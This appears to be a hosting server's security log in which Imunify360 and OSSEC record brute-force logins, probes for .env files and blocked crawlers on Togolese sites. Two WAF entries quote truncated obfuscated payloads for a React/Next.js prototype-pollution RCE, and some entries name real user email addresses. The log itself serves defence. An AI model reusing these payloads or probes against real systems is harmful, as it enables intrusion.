47.128.121.62 - - [15/Jun/2026:03:17:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7391898&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-190-milliards-fcfa-tout-frais-pour-les-filieres-soja-et-mais%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781493472 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-190-milliards-fcfa-tout-frais-pour-les-filieres-soja-et-mais/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.102.30.130
country_id: 6252001
description:
[2026-06-15 03:19:36 +0000] info [webmaild] 82.102.30.130 - asewonou@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.182.63
country_id: 6252001
description:
[2026-06-15 03:19:42 +0000] info [webmaild] 130.12.182.63 - stephane@sitewebofficiel.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 217.117.167.209
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:217.117.167.209||TA:217.117.167.209||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.12
country_id: 1880251
description:
47.128.122.12 - - [15/Jun/2026:03:20:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6658659&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsecteur-agricole-le-togo-beneficie-de-300-millions-de-la-banque-mondiale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781493612 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/secteur-agricole-le-togo-beneficie-de-300-millions-de-la-banque-mondiale/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.12


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.121.240
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:152.232.121.240||TA:152.232.121.240||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.10.184
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.238.10.184||TA:104.238.10.184||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.16.101
country_id: 6251999
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:152.232.16.101||TA:152.232.16.101||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.116.81
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:152.232.116.81||TA:152.232.116.81||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 172.121.235.223
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:172.121.235.223||TA:172.121.235.223||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.105.121.99
country_id: 2635167
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:198.105.121.99||TA:198.105.121.99||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 161.123.215.109
country_id: 2077456
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:161.123.215.109||TA:161.123.215.109||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.56.119
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:107.175.56.119||TA:107.175.56.119||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.133.27.14
country_id: 1835841
description:
Jun 15 03:21:32 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.14 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.206.122.180
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:206.206.122.180||TA:206.206.122.180||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.244.41.123
country_id: 6252001
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:173.244.41.123||TA:173.244.41.123||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.217.204
country_id: 6252001
domain: www.dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:38.154.217.204||TA:38.154.217.204||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.238.23.168
country_id: 1814991
description:
Jun 15 03:22:44 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.238.23.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-06-15 03:22:46 dovecot_login authenticator failed for H=([103.209.179.31]) [120.238.23.168]:44178: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 193.56.28.143
country_id: 6252001
description:
[2026-06-15 03:23:49 +0000] info [cpaneld] 193.56.28.143 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.148.140.150
country_id: 6252001
description:
[2026-06-15 03:25:03 +0000] info [webmaild] 217.148.140.150 - yblewoussi@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-06-15 03:25:32 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:44222: 535 Incorrect authentication data (set_id=alert@white-ways.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.169.28.79
country_id: 2363686
description:
[2026-06-15 03:25:51 +0000] info [cpaneld] 196.169.28.79 NEW lhxhatyj:rlrQt47Kb0DLkm8F address=196.169.28.79,app=cpaneld,creator=lhxhatyj,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.238.23.168
country_id: 1814991
description:
Jun 15 03:25:30 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.238.23.168 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:26:03 +0000] info [cpaneld] 52.230.106.112 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 115.216.6.171
country_id: 1814991
description:
2026-06-15 03:26:38 H=([0.0.0.0]) [115.216.6.171]:62120 F=<John@4452.com> rejected RCPT <pibno@zephyr.tg>: Sender verify failed


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - contact@ciieeinternational.org [06/15/2026:03:28:50 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: contact@ciieeinternational.org


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 03:30:56 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 03:30:58 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:52283: 535 Incorrect authentication data (set_id=office365)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.208.3.116
country_id: 660013
description:
[2026-06-15 03:30:49 +0000] info [webmaild] 85.208.3.116 - mesys@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.28.17.8
country_id: 1605651
description:
[2026-06-15 03:31:32 +0000] info [webmaild] 202.28.17.8 - yblewoussi@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.owa.antasertogo.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var esn=[].slice.call(arguments,1)[0];var ic=esn;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [15/Jun/2026:03:32:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855900&pdata=http%253A%252F%252Fwebdisk.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494340 HTTP/1.1" 302 0 webdisk.api.free.netmaster.tg "http://webdisk.api.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.55
country_id: 6252001
description:
205.169.39.55 - - [15/Jun/2026:03:32:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855371&pdata=http%253A%252F%252Fmail.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494341 HTTP/1.1" 302 0 mail.api.free.netmaster.tg "http://mail.api.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.55


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [15/Jun/2026:03:32:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143646&pdata=http%253A%252F%252Fapi.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494345 HTTP/1.1" 302 0 api.free.netmaster.tg "http://api.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.44
country_id: 6252001
description:
205.169.39.44 - - [15/Jun/2026:03:32:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13016002&pdata=http%253A%252F%252Fautodiscover.api.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494338 HTTP/1.1" 302 0 autodiscover.api.free.netmaster.tg "http://autodiscover.api.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.44


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:03:34:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7037085&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494440 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.1.215.195
country_id: 2077456
description:
[2026-06-15 03:35:04 +0000] info [webmaild] 103.1.215.195 - asotr@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.52.227
country_id: 2782113
description:
[2026-06-15 03:36:32 +0000] info [webmaild] 149.40.52.227 - contact@dany2.mairie.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: User contact@dany2.mairie.tg has their account suspended. Login blocked.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.90.237.172
country_id: 3469034
description:
Jun 15 03:36:23 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.90.237.172 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.51.50
country_id: 6252001
description:
[2026-06-15 03:36:35 +0000] info [webmaild] 149.40.51.50 - david.ayivi@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.142.201.26
country_id: 2750405
description:
[2026-06-15 03:36:35 +0000] info [cpaneld] 45.142.201.26 - a.kesso "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.34.252.35
country_id: 2921044
description:
[2026-06-15 03:38:02 +0000] info [webmaild] 149.34.252.35 - datamesso@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.109.103.118
country_id: 1819730
description:
[2026-06-15 03:39:15 +0000] info [webmaild] 103.109.103.118 - infos@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
47.128.121.62 - - [15/Jun/2026:03:38:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9530011&pdata=https%253A%252F%252Ftogodailynews.tg%252Fles-grossesses-precoces-en-milieu-scolaire-et-extrascolaire-a-qui-la-faute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494735 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/les-grossesses-precoces-en-milieu-scolaire-et-extrascolaire-a-qui-la-faute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.75.50.131
country_id: 1220409
description:
2026-06-15 03:40:01 H=([109.75.50.131]) [109.75.50.131]:35735 F=<John@4452.com> rejected RCPT <fernand@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 03:39:48 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 03:39:50 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:49049: 535 Incorrect authentication data (set_id=emelina)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:03:41:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13276571&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781494863 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.125.161.120
country_id: 6252001
domain: autodiscover.moodle.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/api/.env.backup||User:root||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.125.161.120
country_id: 6252001
domain: autodiscover.moodle.free.netmaster.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env.production||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 82.102.30.18
country_id: 6252001
description:
[2026-06-15 03:43:22 +0000] info [webmaild] 82.102.30.18 - bnandja@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.245
country_id: 690791
description:
Jun 15 03:45:58 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.245 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.196.245.240
country_id: 6252001
domain: mail.api.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.bak||User:apicafe||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.122.42
country_id: 3865483
description:
Jun 15 03:46:19 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.122.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 03:48:35 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 03:48:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:25114: 535 Incorrect authentication data (set_id=sawaguchi)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 109.75.50.131
country_id: 1220409
description:
2026-06-15 03:51:06 H=([109.75.50.131]) [109.75.50.131]:35737 F=<John@4452.com> rejected RCPT <fernand@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:03:52:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10317975&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781495537 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.93.68.178
country_id: 3469034
description:
Jun 15 03:51:35 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.93.68.178 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.223.225
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/sommet-de-la-diaspora-2025-le-president-du-conseil-plaide-pour-la-reparation-des-prejudices/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:54:09 +0000] info [cpaneld] 52.230.106.112 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.7.223.225
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/sommet-de-la-diaspora-2025-le-president-du-conseil-plaide-pour-la-reparation-des-prejudices/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.152
country_id: 1643084
description:
[2026-06-15 03:55:02 +0000] info [whostmgrd] 185.213.83.152 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:55:32 +0000] info [cpaneld] 52.230.106.112 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.5.244.85
country_id: 6252001
description:
2026-06-15 03:56:31 dovecot_plain authenticator failed for H=c-24-5-244-85.hsd1.ca.comcast.net (resth) [24.5.244.85]:38114: 535 Incorrect authentication data (set_id=tpelei@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.5.244.85
country_id: 6252001
description:
Jun 15 03:56:29 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.5.244.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 03:57:26 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 03:57:28 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:61759: 535 Incorrect authentication data (set_id=ilya)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:58:41 +0000] info [cpaneld] 52.230.106.112 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 03:59:57 +0000] info [cpaneld] 52.230.106.112 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.192.42.55
country_id: 3996063
domain: caissederetraites.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/caissederetraites.tg/sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.101.203.172
country_id: 6252001
description:
[2026-06-15 04:03:15 +0000] info [cpaneld] 103.101.203.172 - mpqypjjp "GET /login?user=mpqypjjp&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.230.106.112
country_id: 1880251
description:
[2026-06-15 04:05:06 +0000] info [cpaneld] 52.230.106.112 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 04:06:30 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 04:06:32 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:42103: 535 Incorrect authentication data (set_id=bogdan)


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: version.mesyscom.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_a23b30c0\":\"\",\"$a3c2fb97\":\"99aa\",\"status\":\"resolved_model\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"_response\":{\"_prefix\":\"var xfvb=arguments['\\\\x31'];var wtzxb=xfvb;try{var _v=((0,eval)(global[[\\\"B\\\",\\\"uf\\\",\\\"f\\\",\\\"er\\\


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.242.230.113
country_id: 3017382
description:
[2026-06-15 04:08:36 +0000] info [cpaneld] 38.242.230.113 - mesyscom "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.101.203.172
country_id: 6252001
description:
[2026-06-15 04:09:44 +0000] info [cpaneld] 103.101.203.172 - rqgqpxof "GET //login?user=rqgqpxof&pass=__HIDDEN__ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:11:15 +0000] info [cpaneld] 103.59.161.65 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:11:31 +0000] info [cpaneld] 103.59.161.65 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.137.212.23
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-12.45.137.212.23||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.251
country_id: 130758
description:
Jun 15 04:15:27 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.251
country_id: 130758
description:
2026-06-15 04:15:29 dovecot_login authenticator failed for H=(localhost) [62.60.130.251]:30508: 535 Incorrect authentication data (set_id=galeria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.175.17.130
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/reunion-distributeurs HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.107
country_id: 1880251
description:
